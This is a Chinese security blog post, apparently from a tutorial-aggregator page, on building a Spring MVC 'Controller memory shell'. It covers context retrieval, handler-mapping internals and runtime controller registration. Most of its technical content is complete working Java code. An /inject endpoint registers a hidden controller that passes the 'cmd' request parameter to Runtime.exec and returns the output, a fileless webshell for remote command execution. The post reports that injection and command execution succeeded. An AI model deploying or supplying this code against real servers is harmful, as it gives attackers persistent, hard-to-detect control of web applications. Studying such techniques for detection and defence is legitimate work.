当前位置: 首页 > news >正文

[Java安全]—Controller内存马

环境搭建

依赖

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-webmvc</artifactId>
    <version>5.3.22</version>
</dependency>

<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>servlet-api</artifactId>
    <version>2.5</version>
</dependency>

web.xml

<servlet>
    <servlet-name>SpringMVC</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>classpath:SpringMVC.xml</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
    <servlet-name>SpringMVC</servlet-name>
    <url-pattern>/</url-pattern>
</servlet-mapping>

SpringMVC.xml

 <context:component-scan base-package="com.sentiment"/>
    <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
        <property name="prefix" value="/"></property>
        <property name="suffix" value=".jsp"></property>
    </bean>
        
        
    <bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"/>
	<!--<bean class="org.springframework.web.servlet.mvc.method.annotation.DefaultAnnotationHandlerMapping "/>-->
	<!--<mvc:annotation-driven />-->
</beans>

下边这三行后边会提到

<bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"/>
<!--<bean class="org.springframework.web.servlet.mvc.method.annotation.DefaultAnnotationHandlerMapping"/>-->
<!--<mvc:annotation-driven />-->

前置知识

1、注册上下文环境

要写入内存马,首先第一步就是注册当前运行环境的上下文环境,主要有四种方法:

  • getCurrentWebApplicationContext
  • WebApplicationContextUtils
  • RequestContextUtils
  • getAttribute

重点看下后两个,因为前两个获取的是Root WebApplicationContext,而我们在web.xml中定义了自己的Child WebApplicationContext也就是SpringMVC.xml,所以当然是要获取自定义的。

Spring 应用中可以同时有多个 Context,其中只有一个 Root Context,剩下的全是 Child Context

所有Child Context都可以访问在 Root Context中定义的 bean,但是Root Context无法访问Child Context中定义的 bean

所有的Context在创建后,都会被作为一个属性添加到了 ServletContext中

getAttribute

RequestContextHolder.currentRequestAttributes()的attributes中两个值其中放着SpringMVC-servlet,也就是前边说的Child WebApplicationContext,而由于我们在web.xml中定义的是SpringMVC.xml,所以这里的SpringMVC-servlet也就相当于是我们自定义的SpringMVC

在这里插入图片描述

RequestContextHolder.currentRequestAttributes()中有Child WebApplicationContext,所以需要通过getAttribute取出来

WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE", 0);

RequestContextUtils

同理,该方法是通过ServletRequest 类的实例来获得 WebApplicationContext

WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

2、注册 controller

获取环境后就需要注册Controller了

HandlerMapping

先看下HandlerMpping这个概念

HandlerMapping 是用来查找Handler 的,也就是处理器,具体的表现形式可以是类也可以是方法。比如,标注了@RequestMapping 的每个method 都可以看成是一个Handler,由Handler 来负责实际的请求处理。 而在请求到达之后,HandlerMapping便会找到请求相应的处理器Handler 和Interceptors。

demo

@RestController
public class TestController {
    @RequestMapping("/test")
    public String hello(String name, Model model) {
        model.addAttribute("name", "Hi,Sentiment!");
        return "hello";
    }
}

当访问test时,便会通过HandlerMapping查找Handler并处理请求

所以这里就引入了前边提到的三行:

<bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"/>
<!--<bean class="org.springframework.web.servlet.mvc.method.annotation.DefaultAnnotationHandlerMapping"/>-->
<!--<mvc:annotation-driven />-->

@Controller、@RequestMapping等注解需要通过RequestMappingHandlerMapping来处理,所以在使用时必须要提前在bean中引入

而这种方法是在SpringMVC 3.1之后用的,之前的话就用DefaultAnnotationHandlerMapping

但无论是3.1之前还是之后,其实都只需要一个<mvc:annotation-driven />即可,它会帮我们注册默认处理请求

注册过程

RequestMappingHandlerMapping中有一个registerMapping

public void registerMapping(RequestMappingInfo mapping, Object handler, Method method) {
    super.registerMapping(mapping, handler, method);
    this.updateConsumesCondition(mapping, method);
}

他会调用父类的registerMapping,

public void registerMapping(T mapping, Object handler, Method method) {
    if (this.logger.isTraceEnabled()) {
        this.logger.trace("Register \"" + mapping + "\" to " + method.toGenericString());
    }

    this.mappingRegistry.register(mapping, handler, method);
}

接着会调用register()完成注册

注册

了解注册过程后,细看一下过程:

首先第一个registerMapping()中有三个参数:

public void registerMapping(RequestMappingInfo mapping, Object handler, Method method)
  • handler:即我们需要构造的controller对应的类

  • method:需要注册的controller中的方法

  • mapping:它是RequestMappingInfo类型的,而这个类其实就是设置Controller的一些请求参数的,若没有特殊要求全填null即可:

RequestMappingInfo info = new RequestMappingInfo(null, null, null, null, null, null, null);

在这里插入图片描述

handler和method,设置自定义的controller和method即可,先定义一个写入内存马的类:

@RestController
public class InjectToController {
    public InjectToController(){
    }
    public String test() throws Exception {
        // 获取request
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();

        InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        InputStreamReader isr = new InputStreamReader(is, "UTF-8");
        BufferedReader br = new BufferedReader(isr);
        String str = "";
        String line = "";

        while ((line = br.readLine())!=null){
            str+=line;
        }
        is.close();
        br.close();
        return str;
    }

}

将其controller和method先定义好,留到注册时使用

//handler
InjectToController injectToController = new InjectToController();
//method
Method method = InjectToController.class.getMethod("test");

接着就是获取registerMapping,先通过前边注册的上下文获取RequestMappingHandlerMapping

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE", 0);

RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

获取后就可以直接,调用registerMapping了:

mappingHandlerMapping.registerMapping(info, injectToController, method);

内存马构造

package com.sentiment.controller;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Method;

@RestController
public class TestController {
    @RequestMapping(value = "/inject", method = RequestMethod.GET)
    public String inject() throws NoSuchMethodException {
        // 1. 获取上下文环境
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE", 0);

        // 2. 通过上下文获取RequestMappingHandlerMapping
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

        // 3. 通过反射获取自定义的controller和Method
        Method method = InjectToController.class.getMethod("test");

        // 4. 注册controller
        RequestMappingInfo info = new RequestMappingInfo(null, null, null, null, null, null, null);

        InjectToController injectToController = new InjectToController();
        mappingHandlerMapping.registerMapping(info, injectToController, method);

        return "Inject Success!";
    }
    @RestController
    public class InjectToController {
        public InjectToController(){
        }
        public String test() throws Exception {
            // 获取request
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();

            InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            InputStreamReader isr = new InputStreamReader(is, "UTF-8");
            BufferedReader br = new BufferedReader(isr);
            String str = "";
            String line = "";

            while ((line = br.readLine())!=null){
                str+=line;
            }
            is.close();
            br.close();
            return str;
        }

    }
}

访问/inject,注入成功

在这里插入图片描述

成功执行命令
在这里插入图片描述

参考链接

基于内存 Webshell 的无文件攻击技术研究-安全客 - 安全资讯平台 (anquanke.com)

java内存马分析集合 - 先知社区 (aliyun.com)

利用Fastjson注入Spring内存马 - 先知社区 (aliyun.com)

相关文章:

  • Java这些最基础的知识,你还记得多少?
  • 智能优化算法:白鲸优化算法-附代码
  • OAuth 2.0 (第三方登录)前端流程实现
  • 【JAVA高级】——吃透JDBC中的事务及事务的封装
  • AJAX快速入门、同步和异步、Axios异步框架、JSON
  • 2022年了,软件测试已经饱和了?
  • 闭包“陷阱” 私有对象真的没办法修改属性吗?
  • Ai-WB1系列驱动4.0寸电阻触摸屏运行LVGL v8.3
  • Symfony 表单教程
  • 程序员最浪漫的表白方式,将情书写在她的照片里,Python简直太厉害啦~
  • 硬件电路(3)设计篇----为什么栅极型推挽电路不用上P下N?
  • SpringSecurity(十三)---实现过滤器(上)基础讲解
  • 【微信小程序系列:三】前端实现微信支付与代扣签约
  • 每天五分钟机器学习:数据和特征决定机器学习的上限(特征工程)
  • Mysql注入
  • 测开 - 进阶篇 - 细节狂魔
  • 四旋翼无人机学习第4节--STM32、MPU9250等器件的绘制
  • Linux系统中利用open函数多次打开同一个文件操作方法
  • Windows下安装及卸载程序可用的添加和删除当前路径到环境变量的bat脚本以及如何和inno setup结合使用的实例
  • 【无标题】